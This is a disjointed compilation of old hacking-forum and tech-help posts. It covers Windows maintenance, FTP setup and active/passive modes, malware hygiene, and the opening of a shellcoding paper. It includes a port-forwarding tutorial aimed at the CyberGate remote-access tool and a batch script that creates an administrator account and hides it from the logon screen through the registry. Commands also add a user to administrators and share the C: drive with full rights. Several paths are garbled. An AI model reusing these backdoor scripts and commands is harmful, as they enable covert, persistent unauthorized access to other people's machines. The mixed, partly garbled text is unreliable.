1. Open Run and type compmgmt.msc
2. Click System tools>Local User and Group>Groups
1. Open Run and type compmgmt.msc
2. Click System tools>Local User and Group>Groups
How to Prevent PCs Slowing Down over Time
HTG Explains: Do You Really Need to Regularly Reinstall Windows?
For many people, Windows seems to slow down over time. Quite a few people fix this by regularly reinstalling Windows. But do you really need to regularly reinstall Windows? And, if so, how regularly do you need to reinstall it?
Reinstalling Windows is inconvenient. You have to back up all your data, go through the install process, reinstall all your favorite programs, and restore that data. This sucks up valuable time.
Why Windows Slows Down Over Time
The main reason people reinstall Windows is because it slows down over time. But why do Windows systems slow down over time?
In other words, the main cause of a Windows system slowing down over time is installing junk software
How To Prevent Windows From Slowing Down Over Time
To keep your Windows system running like new, you need to take proper care of it.
Tips for Testing Software
If you want to test software without allowing it to mess up your system, consider installing it in a virtual machine or using a sandboxing tool like Sandboxie to isolate it from the rest of your system. The software won’t be able to mess with your main operating system — just your virtual machine or sandbox environment.
So When Do I Need to Reinstall Windows?
If you’re taking proper care of Windows, you shouldn’t need to regularly reinstall it. There’s one exception, however: You should reinstall Windows when upgrading to a new version of Windows. Skip the upgrade install and go straight for a clean install, which will work better. Performing an upgrade install can result in a variety of issues — it’s better to start with a clean slate.
Obviously, if your Windows system has slowed down and isn’t speeding up no matter how many programs you uninstall, you should consider reinstalling Windows. Reinstalling Windows may often be a faster way to get rid of malware and fix other system issues than actually troubleshooting and fixing the specific problem. However, you should try to take better care of Windows in the future.
If your Windows computer is running fine, you don’t need to spend hours reinstalling your operating system — even if it’s been years since you last reinstalled Windows. That’s a sign you’re doing a good job of taking care of your Windows system.
How To Quickly Reinstall Windows
If you are going to reinstall Windows, Windows 8 actually makes this much easier. Windows 8′s “Refresh Your PC” feature effectively performs a quick reinstall of Windows, removing all your installed desktop programs and any other system modifications, while preserving your personal files. You don’t even need a Windows disc to do this.
If you’re using a previous version of Windows, you can reinstall Windows from a Windows installation disc or restore it from your computer’s recovery partition. Before you reinstall Windows from the disc or recovery partition, make sure you have backups of all your important files.
Port Forwarding (TUT) Noob Detalied!
Ok,in this tut i will show you how to PortForward your IP adress.
Lets get started...
First open : http://portforward.com
Then scroll down and find your router.If you cant find it,then press
"Ctrl+f " and type your ruoter.In my case is TP-Link.
Then click on it.
After that,just click Skip...
Then,scroll a little and you will see "1st SMTP Server" , and click that...
Then it will show you,how to port forward exactly for your ROUTER,but
now i will show for mine :D
Ok,now click "start",then "run",and type cmd!
Now black windows will appear,and you must type "ipconfig",and it will show you some ip adresse’s,you must copy ip from "Default Gateway"
After that,open firefox or what ever you have,and type your "Default Gateway" ip.
When you type, it will show you small window to type username and password.Usually password and username are same "admin"..so you type like that.
Then you click "Advance setup"
next,click "NAT" , and click "add"
And than,select "Custome server" , type "CyberGate".
Type your Ip adress from DOS,next type port you want,in my case is 82.
Select Protocol,use both of them,and FINALY click Save/Apply! ;)
And now LAST step.
Open http://canyouseeme.org and type your port (mine is 82) and click "Check"!!
And it will show you just like this:
Success: I can see your service on **.**.**.**:*** on port (82)
Your ISP is not blocking port 82
If its like that,then you are DONE!! congratulations!
But if you have some error,it would look like this:
Error: I could not see your service on **.**.**.**:** on port (82)
Reason: Connection timed out.
@ECHO off
TITLE AdminAccountCreator651juan@cw
COLOR 0f
set AC_PART=001
:HEADER
echo.
ECHO [INFO]
ECHO [-]Create a hidden user acount U:%AC_NAME%;:%AC_PASS%; G:%AC_GROUP%; H:%AC_HIDE%
echo ’
GOTO %AC_PART%
:001
SET /P AC_NAME=[*]Account name?:
cls
SET AC_PART=002
GOTO HEADER
:002
SET /P AC_PASS=[*]Account password?:
cls
SET AC_PART=003
GOTO HEADER
:003
SET /P AC_COMMENT=[*]AccountComment?:
cls
SET AC_PART=004
GOTO HEADER
:004
ECHO [*The following groups are available on the machine.
ECHO.
net localgroup | find "*"
ECHO.
SET /P AC_GROUP=[*]Group?:
cls
SET AC_PART=005
GOTO HEADER
:005
SET /P AC_OK=[*]Creating acount now,Continue?y/:
IF NOT %AC_OK%==y GOTO 0051
net user %AC_NAME%%AC_PASS%/add /COMMENT:"%AC_COMMENT%"
net localgroup "%AC_GROUP%"%AC_NAME%/add
ECHO.
pause
:0051
cls
SET AC_PART=006
GOTO HEADER
:006
SET /P AC_HIDE=[*]Do you want to hide the account from the XP logon screen?y/:
IF NOT %AC_HIDE%==y GOTO END
echo WindowsRegistryEditorVersion5.00>%TEMP%’addregistry.reg
echo [HKEY_LOCAL_MACHINE’SOFTWARE’Microsoft’Windows
NT’CurrentVersion’Winlogon’SpecialAccounts’UserList]>>%TEMP%’addregistry.reg
echo "%AC_NAME%"=dword:00000000>>%TEMP%’addregistry.reg
Regedit/%TEMP%’addregistry.reg
Del%TEMP%’addregistry.reg
:END
ECHO.
pause
net user /add useraccountname mypassword
net localgroup administrators useraccountname /add
net share concfg*C:’/grant:useraccountname,full
net user useraccountname *
You may have heard of the ‘Blue Screen of Death’ but haven’t experienced it yourself. It is better to know the reasons behind this crash so that when it happens you are in a position to fix it. If you see on the screen “Fatal error: the system has become unstable or is busy”, “enter to return to Windows or press Control+Alt+Delete to restart your computer. If you do this you will lose any unsaved information in all open applications”. This is the infamous blue screen of death. This could happen due to any of these following reasons:
Hardware Problem: Computer consists of different hardware such as Printer, mouse, flash drive etc. Windows assigns an IRQ number for each of these hardware. When due to some reasons more than one hardware use the same IRQ this will result in a crash. In order to find if you have any hardware conflicts you can goto the ‘Device Manager’ in your computer properties. (Start-Settings->Control Panel –> System->Device manager), an yellow exclamation mark will be placed against the hardware that has a conflict. You can resolve this by selecting the device, uninstalling and reinstalling it again.
RAM memory: When you upgrade RAM memory, if you have two unmatched RAM cards or a RAM card that is not compatible with your motherboard, then a “Fatal Exception Error” will occur when you start the computer. If you are technically savvy then you may try to fix this by going to BIOS settings and editing the ‘Wait state’ of RAM or you can replace the cards with the same speed and capacity.
Hard Disk Drive: After using the computer for a few months or years, the hard disk gets fragmented with temporary files, or fragmented files. This will result in slowness of hard disk and may even result in computer crash eventually. You can maintain your harddisk by defragmenting your hard disk frequently and deleting unwanted files.
Video Card: If you see “Fatal OE exceptions and VXD errors” then it is due to the video card. To solve this reduce the video display resolution. You can do so by going to the control panel and display settings. Choose the correct screen resolution to match your monitor and change the color settings to 16 bit or match it with your monitor.
Virus: Most of the computer crash is due to Virus infection in your computer. You should install or enable windows firewall and install an Anti virus application to prevent unwanted virus applications infecting your computer.
Printer: Sometimes you may notice that the computer crashes whenever you try to print something. This is due to low memory buffer in the printer. Therefore when you send a lot of data to the printer or if you have multiple applications open and you print at the same time, this may happen. Unplug the printer from power outlet for 10 minutes and connect back again. Close other programs and try to print again.
Software: If a particular software is not installed properly or is not complete then it may result in a crash when you try to start that software. You have to uninstall such software properly. Otherwise some entries may still be in the registry referring to that software and result in instability of the computer. You can use registry cleaning software to clean your registries frequently.
Heat: Computers have inbuilt fans to cool down the processors. You can control the CPU speed from your BIOS settings. If the speed is set to higher than the normal CPU speed, this may result in overheating of the CPU which will result in Kernel Error.
Power Supply: Use UPS to regulate the power supply to your computer. This will reduce the chances of your computer crashing.
Many have asked me this question. In every computer key board, you will see this ‘Print Screen’ button. The basic functionality of this ‘KEY’ is to capture the snap shot (screen Shot) of the current screen you are viewing in your monitor and save it as an image file. It is like taking a photo of your monitor screen. Once you click this ‘Print screen’ button the screen image is captured and stored in the clip board (computer memory). Then you can use the ‘Ctrl + V’ buttons together to paste it into any image processing software such as ‘MS Paint’, ‘Adobe Photoshop’ or any other Office applications such as Word, Excel or powerpoint. Once you paste it into any of these applications you can save it and then use the image later for any purpose. Here are the steps to use print screen feature.
OK now you have mastered the art of print screen. But why do you need this. The most common use of this feature is to capture ‘Error messages’ in applications for your support engineers to see later.
WHAT IS MALWARE ?
Malware, short for malicious software, is programming (code, scripts, active content, and other software) designed to disrupt or deny operation, gather information that leads to loss of privacy or exploitation, gain unauthorized access to system resources, and other abusive behavior.The expression is a general term used by computer professionals to mean a variety of forms of hostile, intrusive, or annoying software or program code.
Having Safe Digital Life :
[First Step] always update your Os & use Latest Release
For latest Os Releas From microsoft : www.microsoft.com/Windows
You can Use this to Update your Windows : windowsupdate.microsoft.com
Windows Update is a service provided by Microsoft that provides updates for the Microsoft Windows operating system and its installed components, including Internet Explorer. An optional feature disables access to Windows Update, enabling instead access to Microsoft Update, an expanded version of the service which provides updates not just for the operating system and Internet Explorer, but also for other Microsoft software running under Windows, such as Microsoft Office, Windows Live applications, and Microsoft Expression Studio. Updates are normally provided over an Internet connection, although there is provision for updates to be installed on computers without an Internet connection.
Security updates or critical updates eliminate vulnerability to known malware and security exploits. Other updates correct errors and enhance functionality.
Security updates are routinely provided on the second Tuesday of each month, Patch Tuesday, but can be provided whenever a new update is urgently required to prevent a newly discovered or prevalent exploit targeting Windows users. Windows Update can be configured to install critical updates automatically so long as the computer is connected to the Internet, without the user needing to install them manually, or even be aware that an update is required
[Second Step] Use Trusted Firewall - Antivirus
Always use Alternate Firewall/Antivirus instead of windows Firewall or Defender ( Disable Both of them – Windows Firewall & Defender )
Here Is a Small list Antivirus/Firewall that u can use :
Ad-Aware Pro
avast! Free Antivirus
AVG Anti-Virus Free Edition
Avira AntiVir Personal
BitDefender Antivirus
BitDefender Antivirus Pro
BullGuard Internet Security
CA Anti-Virus Plus Anti-Spyware
Comodo Antivirus
Coranti
Dr.Web anti-virus for Windows
Emsisoft Anti-Malware
ESET NOD32 Antivirus
F-Secure Anti-Virus
G Data AntiVirus
IKARUS virus.utilities
Immunet Protect Plus
Kaspersky Anti-Virus
Kaspersky Internet Security
Kaspersky PURE
Malwarebytes’ Anti-Malware
McAfee AntiVirus Plus
McAfee Internet Security
Microsoft Security Essentials
Norman Antivirus & Antispyware
Norton 360
Norton Antivirus
Outpost Antivirus Pro
Panda Antivirus Pro
Panda Cloud Antivirus Pro
Preventon Antivirus Free
Prevx
Quick Heal AntiVirus
Rising Antivirus
Sophos Endpoint Security and Control (Anti-Virus)
Trend Micro Internet Security
Trend Micro Titanium Antivirus+
VIPRE Antivirus
Webroot Antivirus with Spy Sweeper
ZoneAlarm Anti-virus
[Second Step-Tips]
-Always Use Latest Version of Security Apps
-Update your virus definitions regularly
-Don’t run more than one real time Antivirus together.
-Don’t use illegal keys/cracks/serials for antivirus , try to purchase legal version from manufactured sites
-Get immediate protection. Configure your antivirus software to boot automatically on start-up and run at all times. This will provide you back-up protection in case you forget to scan an attachment, or decide not to. And in case you forget to boot up your antivirus software, configuring it to start by itself will ensure you get immediate protection anyway.
-Run a Virus Scan ( quick scan ) once in a week & Run FULL Scan once in a month
[third Step] Use Secure Browser
Mozilla Firefox : http://www.mozilla.com/en-US/firefox/
Chrome : www.google.com/chrome
Safari : www.apple.com/safari/
Opera: www.opera.com
IE9-Internet Explorer 9 ( Not Old Versions ! Only Latest ) : www.microsoft.com/IE9
[Step 4]
Have One of Anti-viruses Rescue Disk , it’s a live cd which help you when u need them !
Here is a small list of Rescue Disks , I will complete this list later :
Kaspersky Rescue Disk
Avira AntiVir Rescue System
AVG Rescue CD
F-Secure Rescue CD
Panda SafeCD
BitDefender Rescue CD
norton rescue disk
avast rescue disk
[Step 5]
-Start running under a limited user account (XP) or keep UAC enabled (Vista/Win 7)
-Use Your windows in virtual environment to avoid writing data to the hard drive so it prevents malwares from making permanent changes to other programs and data in your computer. You can use Sandbox security software
- Some Antivirus/firewalls have this option like “Safe Run” in Kaspersky
HOW TO REMOVE Malwares When Infected
What if my computer is infected?
Unfortunately, it may happen occasionally that the antivirus installed in your computer with its latest updates is incapable of detecting a new virus, worm or a Trojan. Sadly but true: no antivirus protection software gives you a 100% guarantee of complete security. If your computer does get infected, you need to determine the fact of infection, identify the infected file and send it to the vendor whose product missed the malicious program and failed to protect your computer.
However, users on their own are typically unable to detect that their computer got infected unless aided by antivirus solutions. Many worms and Trojans typically do not reveal their presence in any way. By way of exception, some Trojans do inform the user directly that their computer has been infected – they may encrypt the user’s personal files so as to demand a ransom for the decryption utility. However, a Trojan typically installs itself secretly in the system, often employs special disguising methods and also covertly does its activity. So, the fact of infection can be detected by indirect evidence only.
Symptoms of infection
An increase in the outgoing web traffic is the general indication of an infection; this applies to both individual computers and corporate networks. If no users are working in the Internet in a specific time period (e.g. at night), but the web traffic continues, this could mean that somebody or someone else is active on the system, and most probably that is a malicious activity. In a firewall is configured in the system, attempts by unknown applications to establish Internet connections may be indicative of an infection. Numerous advertisement windows popping up while visiting web-sites may signal that an adware in present in the system. If a computer freezes or crashes frequently, this may be also related to a malware activity. Such malfunctions are more often accounted for by hardware or software malfunctions rather than a virus activity. However, if similar symptoms simultaneously occur on multiple or numerous computers on the network, accompanied by a dramatic increase in the internal traffic, this is very likely caused by a network worm or a backdoor Trojan spreading across the network.
An infection may be also indirectly evidenced by non-computer related symptoms, such as bills for telephone calls that nobody made or SMS messages that nobody sent. Such facts may indicate that a phone Trojan is active in the computer or the cell phone. If unauthorized access has been gained to your personal bank account or your credit card has bee used without your authorization, this may signal that a spyware has intruded into your system.
[First Step]
Update your computer’s operating system. For Windows operating systems, click the Start Menu button. Select "All programs," and then select "Windows updates." Your computer will automatically detect any important updates you may need to install. Visit microsoft.com to install the latest updates for your computer.
[Second Step]
[Tip-First Step] Use an available online scanner. Many of the major AV vendors provide this facility including: BitDefender, Kaspersky Lab, Eset, F-Secure, McAfee, Trend Micro, Avast! and so on. For the evaluation of single files, the online multiscanners VirusTotal and Jotti’s malware scan are available.
[Tip-Second Step] Use of a portable software application which runs as a standalone executable. Check for availability among your preferred tools.
[Third Step]
Update your antivirus software and computer firewall. Visit the manufacturer’s website for the latest updates. If you do not currently have antivirus/Firewall software, download or purchase some. You can download both free and paid copies online or purchase it from a retailer.
[4th Step]
Open the antivirus software and click "Scan." Choose a full computer scan rather than a quick scan. Allow the software to repair or isolate any viruses it discovers. Some files may need to be completely deleted.
In case you have Infected with a FUD malwares ( full undetected ) :
-Find malware file & compress it ( .zip )
-Password the archive
-Send it to antivirus labs
Labs:
Kaspersky:http://support.kaspersky.ru/virlab/h...k.html?LANG=en
Eset : http://kb.eset.com/esetkb/index?page=content&id=SOLN141
Mcafee:http://www.mcafee.com/us/mcafee-labs...it-sample.aspx
Frisk : http://www.f-prot.com/virusinfo/submission_form.html
F-Secure: https://analysis.f-secure.com/portal/login.html
Avira: http://analysis.avira.com/samples/
Microsoft : https://www.microsoft.com/security/p...on/Submit.aspx
Trend Micro:http://subwiz.trendmicro.com/SubWiz/Default.asp
Comodo:http://www.comodo.com/home/internet-security/submit.php
ClamAV:http://cgi.clamav.net/sendvirus.cgi
Dr. Web: http://vms.drweb-av.de/sendvirus/
CA: http://www.ca.com/us/securityadvisor/submitmalware.aspx
A-Squared: http://www.emsisoft.com/en/support/submit/
Norton: https://submit.symantec.com/websubmit/retail.cgi
QuickHeal: http://www.quickheal.co.in/submit_sample.asp
Vipre: http://www.sunbeltsecurity.com/threat/
Norman: http://www.norman.com/support/sendmalware/en
VirusBuster: https://support.virusbuster.hu/index...kets&_a=submit
AhnLab: http://global.ahnlab.com/en/site/sup...virusReport.do
RemoveIt pro: http://www.incodesolutions.com/reportvirus.php
Malwarebytes: http://uploads.malwarebytes.org/
Superantispyware: http://www.superantispyware.com/blog...ubmit-samples/
AVG: http://forums.avg.com/ww-en/avg-free...ct=show&id=397
Avast: http://support.avast.com/index.php?_...id=199&nav=0,1
Lavasoft: http://www.lavasoft.com/support/secu...ile_upload.php
Agnitum: http://www.agnitum.com/support/submit_files.php
Webroot: http://support.webroot.com/cgi-bin/w...nduser/ask.php
The Hacker: http://www.hacksoft.com.pe/upload/ubr_file_upload.php
nProtect: http://global.nprotect.com/security/virus_report.php
Sophos: https://secure.sophos.com/support/samples
Iobit: http://db.iobit.com/deal/sdsubmit/index.php
Digital Patrol: http://www.nictasoft.com/new-virus/
Kingsoft: http://www.pc120.com/fileident/
PC Tools: http://www.pctools.com/mrc/submit/
Rising: http://mailcenter.rising.com.cn/filecheck_en/
Bitdefender: http://www.malwarecity.com/site/Main/uploadMalware
Nano Antivirus: http://www.nanoav.ru/index.php?optio...mid=53&lang=en
eScan: http://www.escanav.com/english/conte...bmitsample.asp
Maxsecureantivirus: http://www.maxsecureantivirus.com/submitThreat.htm
-Wait for antivirus labs to Release update for database
Setting Up A Ftp:
Well, since many of us have always wondered this, here it is. Long and drawn out. Also, before attempting this, realize one thing; You will have to give up your time, effort, bandwidth, and security to have a quality ftp server.
That being said, here it goes. First of all, find out if your IP (Internet Protocol) is static (not changing) or dynamic (changes everytime you log on). To do this, first consider the fact if you have a dial up modem. If you do, chances are about 999 999 out of 1 000 000 that your IP is dynamic. To make it static, just go to a place like h*tp://www.myftp.org/ to register for a static ip address.
You’ll then need to get your IP. This can be done by doing this:
Going to Start -> Run -> winipcfg or www.ask.com and asking ’What is my IP?’
After doing so, you’ll need to download an FTP server client. Personally, I’d recommend G6 FTP Server, Serv-U FTPor Bullitproof v2.15 all three of which are extremely reliable, and the norm of the ftp world.
You can download them on this site: h*tp://www.liaokai.com/softw_en/d_index.htm
First, you’ll have to set up your ftp. For this guide, I will use step-by-step instructions for G6. First, you’ll have to go into ’Setup -> General’. From here, type in your port # (default is 21). I recommend something unique, or something a bit larger (ex: 3069). If you want to, check the number of max users (this sets the amount of simultaneous maximum users on your server at once performing actions - The more on at once, the slower the connection and vice versa).
The below options are then chooseable:
-Launch with windows
-Activate FTP Server on Start-up
-Put into tray on startup
-Allow multiple instances
-Show "Loading..." status at startup
-Scan drive(s) at startup
-Confirm exit
You can do what you want with these, as they are pretty self explanatory. The scan drive feature is nice, as is the 2nd and the last option. From here, click the ’options’ text on the left column.
To protect your server, you should check ’login check’ and ’password check’, ’Show relative path (a must!)’, and any other options you feel you’ll need. After doing so, click the ’advanced’ text in the left column. You should then leave the buffer size on the default (unless of course you know what you’re doing ), and then allow the type of ftp you want.
Uploading and downloading is usually good, but it’s up to you if you want to allow uploads and/or downloads. For the server priority, that will determine how much conventional memory will be used and how much ’effort’ will go into making your server run smoothly.
Anti-hammering is also good, as it prevents people from slowing down your speed. From here, click ’Log Options’ from the left column. If you would like to see and record every single command and clutter up your screen, leave the defaults.
But, if you would like to see what is going on with the lowest possible space taken, click ’Screen’ in the top column. You should then check off ’Log successful logins’, and all of the options in the client directry, except ’Log directory changes’. After doing so, click ’Ok’ in the bottom left corner.
You will then have to go into ’Setup -> User Accounts’ (or ctrl & u). From here, you should click on the right most column, and right click. Choose ’Add’, and choose the username(s) you would like people to have access to.
After giving a name (ex: themoonlanding), you will have to give them a set password in the bottom column (ex: wasfaked). For the ’Home IP’ directory, (if you registered with a static server, check ’All IP Homes’. If your IP is static by default, choose your IP from the list. You will then have to right click in the very center column, and choose ’Add’.
From here, you will have to set the directory you want the people to have access to. After choosing the directory, I suggest you choose the options ’Read’, ’List’, and ’Subdirs’, unless of course you know what you’re doing . After doing so, make an ’upload’ folder in the directory, and choose to ’add’ this folder seperately to the center column. Choose ’write’, ’append’, ’make’, ’list’, and ’subdirs’. This will allow them to upload only to specific folders (your upload folder).
Now click on ’Miscellaneous’ from the left column. Choose ’enable account’, your time-out (how long it takes for people to remain idle before you automatically kick them off), the maximum number of users for this name, the maximum number of connections allowed simultaneously for one ip address, show relative path (a must!), and any other things at the bottom you’d like to have. Now click ’Ok’.
**Requested**
From this main menu, click the little boxing glove icon in the top corner, and right click and unchoose the hit-o-meter for both uploads and downloads (with this you can monitor IP activity). Now click the lightning bolt, and your server is now up and running.
Post your ftp info, like this:
213.10.93.141 (or something else, such as: ’f*p://example.getmyip.com’)
User: *** (The username of the client)
Pass: *** (The password)
Port: *** (The port number you chose)
So make a FTP and join the FTP section
Listing The Contents Of A Ftp:
Listing the content of a FTP is very simple.
You will need FTP Content Maker, which can be downloaded from here:
ht*p://www.etplanet.com/download/application/FTP%20Content%20Maker%201.02.zip
1. Put in the IP of the server. Do not put "ftp://" or a "/" because it will not work if you do so.
2. Put in the port. If the port is the default number, 21, you do not have to enter it.
3. Put in the username and password in the appropriate fields. If the login is anonymous, you do not have to enter it.
4. If you want to list a specific directory of the FTP, place it in the directory field. Otherwise, do not enter anything in the directory field.
5. Click "Take the List!"
6. After the list has been taken, click the UBB output tab, and copy and paste to wherever you want it.
If FTP Content Maker is not working, it is probably because the server does not utilize Serv-U Software.
If you get this error message:
StatusCode = 550
LastResponse was : ’Unable to open local file test-ftp’
Error = 550 (Unable to open local file test-ftp)
Error = Unable to open local file test-ftp = 550
Close and restart FTP Content Maker, then try again.
error messages:
110 Restart marker reply. In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm Where yyyy is User-process data stream marker, and mmmm server’s equivalent marker (note the spaces between markers and "=").
120 Service ready in nnn minutes.
125 Data connection already open; transfer starting.
150 File status okay; about to open data connection.
200 Command okay.
202 Command not implemented, superfluous at this site.
211 System status, or system help reply.
212 Directory status.
213 File status.
214 Help message. On how to use the server or the meaning of a particular non-standard command. This reply is useful only to the human user.
215 NAME system type. Where NAME is an official system name from the list in the Assigned Numbers document.
220 Service ready for new user.
221 Service closing control connection. Logged out if appropriate.
225 Data connection open; no transfer in progress.
226 Closing data connection. Requested file action successful (for example, file transfer or file abort).
227 Entering Passive Mode (h1,h2,h3,h4,p1,p2).
230 User logged in, proceed.
250 Requested file action okay, completed.
257 "PATHNAME" created.
331 User name okay, need password.
332 Need account for login.
350 Requested file action pending further information.
421 Too many users logged to the same account
425 Can’t open data connection.
426 Connection closed; transfer aborted.
450 Requested file action not taken. File unavailable (e.g., file busy).
451 Requested action aborted: local error in processing.
452 Requested action not taken. Insufficient storage space in system.
500 Syntax error, command unrecognized. This may include errors such as command line too long.
501 Syntax error in parameters or arguments.
502 Command not implemented.
503 Bad sequence of commands.
504 Command not implemented for that parameter.
530 Not logged in.
532 Need account for storing files.
550 Requested action not taken. File unavailable (e.g., file not found, no access).
551 Requested action aborted: page type unknown.
552 Requested file action aborted. Exceeded storage allocation (for current directory or dataset).
553 Requested action not taken. File name not allowed.
Active FTP vs. Passive FTP, a Definitive Explanation
Introduction
One of the most commonly seen questions when dealing with firewalls and other Internet connectivity issues is the difference between active and passive FTP and how best to support either or both of them. Hopefully the following text will help to clear up some of the confusion over how to support FTP in a firewalled environment.
This may not be the definitive explanation, as the title claims, however, I’ve heard enough good feedback and seen this document linked in enough places to know that quite a few people have found it to be useful. I am always looking for ways to improve things though, and if you find something that is not quite clear or needs more explanation, please let me know! Recent additions to this document include the examples of both active and passive command line FTP sessions. These session examples should help make things a bit clearer. They also provide a nice picture into what goes on behind the scenes during an FTP session. Now, on to the information...
The Basics
FTP is a TCP based service exclusively. There is no UDP component to FTP. FTP is an unusual service in that it utilizes two ports, a ’data’ port and a ’command’ port (also known as the control port). Traditionally these are port 21 for the command port and port 20 for the data port. The confusion begins however, when we find that depending on the mode, the data port is not always on port 20.
Active FTP
In active mode FTP the client connects from a random unprivileged port (N > 1024) to the FTP server’s command port, port 21. Then, the client starts listening to port N+1 and sends the FTP command PORT N+1 to the FTP server. The server will then connect back to the client’s specified data port from its local data port, which is port 20.
From the server-side firewall’s standpoint, to support active mode FTP the following communication channels need to be opened:
FTP server’s port 21 from anywhere (Client initiates connection)
FTP server’s port 21 to ports > 1024 (Server responds to client’s control port)
FTP server’s port 20 to ports > 1024 (Server initiates data connection to client’s data port)
FTP server’s port 20 from ports > 1024 (Client sends ACKs to server’s data port)
In step 1, the client’s command port contacts the server’s command port and sends the command PORT 1027. The server then sends an ACK back to the client’s command port in step 2. In step 3 the server initiates a connection on its local data port to the data port the client specified earlier. Finally, the client sends an ACK back as shown in step 4.
The main problem with active mode FTP actually falls on the client side. The FTP client doesn’t make the actual connection to the data port of the server--it simply tells the server what port it is listening on and the server connects back to the specified port on the client. From the client side firewall this appears to be an outside system initiating a connection to an internal client--something that is usually blocked.
Active FTP Example
Below is an actual example of an active FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold.
There are a few interesting things to consider about this dialog. Notice that when the PORT command is issued, it specifies a port on the client (192.168.150.80) system, rather than the server. We will see the opposite behavior when we use passive FTP. While we are on the subject, a quick note about the format of the PORT command. As you can see in the example below it is formatted as a series of six numbers separated by commas. The first four octets are the IP address while the second two octets comprise the port that will be used for the data connection. To find the actual port multiply the fifth octet by 256 and then add the sixth octet to the total. Thus in the example below the port number is ( (14*256) + 178), or 3762. A quick check with netstat should confirm this information.
testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PORT 192,168,150,80,14,178
200 PORT command successful.
---> LIST
150 Opening ASCII mode data connection for file list.
drwx------ 3 slacker users 104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.
Passive FTP
In order to resolve the issue of the server initiating the connection to the client a different method for FTP connections was developed. This was known as passive mode, or PASV, after the command used by the client to tell the server it is in passive mode.
In passive mode FTP the client initiates both connections to the server, solving the problem of firewalls filtering the incoming data port connection to the client from the server. When opening an FTP connection, the client opens two random unprivileged ports locally (N > 1024 and N+1). The first port contacts the server on port 21, but instead of then issuing a PORT command and allowing the server to connect back to its data port, the client will issue the PASV command. The result of this is that the server then opens a random unprivileged port (P > 1024) and sends the PORT P command back to the client. The client then initiates the connection from port N+1 to port P on the server to transfer data.
From the server-side firewall’s standpoint, to support passive mode FTP the following communication channels need to be opened:
FTP server’s port 21 from anywhere (Client initiates connection)
FTP server’s port 21 to ports > 1024 (Server responds to client’s control port)
FTP server’s ports > 1024 from anywhere (Client initiates data connection to random port specified by server)
FTP server’s ports > 1024 to remote ports > 1024 (Server sends ACKs (and data) to client’s data port)
In step 1, the client contacts the server on the command port and issues the PASV command. The server then replies in step 2 with PORT 2024, telling the client which port it is listening to for the data connection. In step 3 the client then initiates the data connection from its data port to the specified server data port. Finally, the server sends back an ACK in step 4 to the client’s data port.
While passive mode FTP solves many of the problems from the client side, it opens up a whole range of problems on the server side. The biggest issue is the need to allow any remote connection to high numbered ports on the server. Fortunately, many FTP daemons, including the popular WU-FTPD allow the administrator to specify a range of ports which the FTP server will use. See Appendix 1 for more information.
The second issue involves supporting and troubleshooting clients which do (or do not) support passive mode. As an example, the command line FTP utility provided with Solaris does not support passive mode, necessitating a third-party FTP client, such as ncftp.
With the massive popularity of the World Wide Web, many people prefer to use their web browser as an FTP client. Most browsers only support passive mode when accessing ftp:// URLs. This can either be good or bad depending on what the servers and firewalls are configured to support.
Passive FTP Example
Below is an actual example of a passive FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold.
Notice the difference in the PORT command in this example as opposed to the active FTP example. Here, we see a port being opened on the server (192.168.150.90) system, rather than the client. See the discussion about the format of the PORT command above, in the Active FTP Example section.
testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PASV
227 Entering Passive Mode (192,168,150,90,195,149).
---> LIST
150 Opening ASCII mode data connection for file list
drwx------ 3 slacker users 104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.
Summary
The following chart should help admins remember how each FTP mode works:
Active FTP :
command : client >1024 -> server 21
data : client >1024 <- server 20
Passive FTP :
command : client >1024 -> server 21
data : client >1024 -> server >1024
A quick summary of the pros and cons of active vs. passive FTP is also in order:
Active FTP is beneficial to the FTP server admin, but detrimental to the client side admin. The FTP server attempts to make connections to random high ports on the client, which would almost certainly be blocked by a firewall on the client side. Passive FTP is beneficial to the client, but detrimental to the FTP server admin. The client will make both connections to the server, but one of them will be to a random high port, which would almost certainly be blocked by a firewall on the server side.
Luckily, there is somewhat of a compromise. Since admins running FTP servers will need to make their servers accessible to the greatest number of clients, they will almost certainly need to support passive FTP. The exposure of high level ports on the server can be minimized by specifying a limited port range for the FTP server to use. Thus, everything except for this range of ports can be firewalled on the server side. While this doesn’t eliminate all risk to the server, it decreases it tremendously.
Advanced Shellcoding Techniques - by Darawk
Introduction
This paper assumes a working knowledge of basic shellcoding techniques, and x86 assembly, I will not rehash these in this paper. I hope to teach you some of the lesser known shellcoding techniques that I have picked up, which will allow you to write smaller and better shellcodes. I do not claim to have invented any of these techniques, except for the one that uses the div instruction.
The multiplicity of mul
This technique was originally developed by Sorbo of darkircop.net. The mul instruction may, on the surface, seem mundane, and it’s purpose obvious. However, when faced with the difficult challenge of shrinking your shellcode, it proves to be quite useful. First some background information on the mul instruction itself.
